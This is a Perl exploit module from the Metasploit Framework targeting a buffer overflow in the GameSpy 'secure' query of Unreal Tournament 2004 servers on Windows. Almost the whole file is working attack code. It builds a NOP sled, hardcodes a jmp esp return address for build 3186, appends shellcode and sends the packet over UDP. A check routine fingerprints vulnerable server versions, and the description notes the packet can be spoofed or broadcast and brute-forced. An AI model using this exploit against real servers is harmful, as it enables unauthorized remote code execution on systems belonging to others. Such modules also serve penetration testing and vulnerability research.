## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::ut2004_secure_win32; use base "Msf::Exploit"; use strict; my $advanced = { }; my $info = { 'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)', 'Version' => '$Revision: 1.3 $', 'Authors' => [ 'Stinko', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32' ], 'Priv' => 1, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 7787], }, 'Payload' => { 'Space' => 512, 'BadChars' => "\x5c\x00", }, 'Description' => qq{ This is an exploit for the GameSpy secure query in the Unreal Engine. This exploit only requires one UDP packet, which can be both spoofed and sent to a broadcast address. Usually, the GameSpy query server listens on port 7787, but you can manually specify the port as well. The RunServer.sh script will automatically restart the server upon a crash, giving us the ability to brute force the service and exploit it multiple times. }, 'Refs' => [ 'http://www.osvdb.org/7217', 'http://www.securityfocus.com/bid/10570' ], # 'DefaultTarget' => 0, 'Targets' => [ # ['UT2004 Win32 Build Autodetect'], ['UT2004 Build 3186', 0x10184be3, 0x7ffdf0e4], # jmp esp ], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target_idx = $self->GetVar('TARGET'); my $target = $self->Targets->[$target_idx]; my $request = ("\x90" x 1024); substr($request, 0, 60, pack("V", $target->[1]) x 15); substr($request, 56, 4, pack("V", $target->[2])); substr($request, 0, length("\\secure\\"), "\\secure\\"); substr($request, length($request) - length($shellcode), length($shellcode), $shellcode); my $sock = Msf::Socket::Udp->new( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, ); if($sock->IsError) { $self->PrintLine('Error creating socket: ' . $sock->GetError); return; } $self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)'); if(!$sock->Send($request)) { $sock->PrintError; return; } return; } sub Check { my $self = shift(); my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $versionNum = $self->GetVersion($target_host, $target_port); if(! $versionNum) { $self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port); return $self->CheckCode('Generic'); } else { $self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port); if ($versionNum =~ /^(3120|3186|3204)$/) { $self->PrintLine("[*] The server is more than likely exploitable"); return $self->CheckCode('Appears'); } elsif ($versionNum =~ /^(2...)$/) { $self->PrintLine("[*] The server appears to be running UT2003"); return $self->CheckCode('Safe'); } $self->PrintLine("[*] The server is more than likely patched"); return $self->CheckCode('Safe'); } } sub GetVersion { my $self = shift(); my $target_host = shift(); my $target_port = shift(); my $s = Msf::Socket::Udp->new ( PeerAddr => $target_host, PeerPort => $target_port, ); if($s->IsError()) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port); my $versionRequest = "\\basic\\"; if(!$s->Send($versionRequest)) { $s->PrintError; return; } my $versionReply = $s->Recv(-1, 10); my $versionNum; if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) { $versionNum = $1; } return $versionNum; } 1;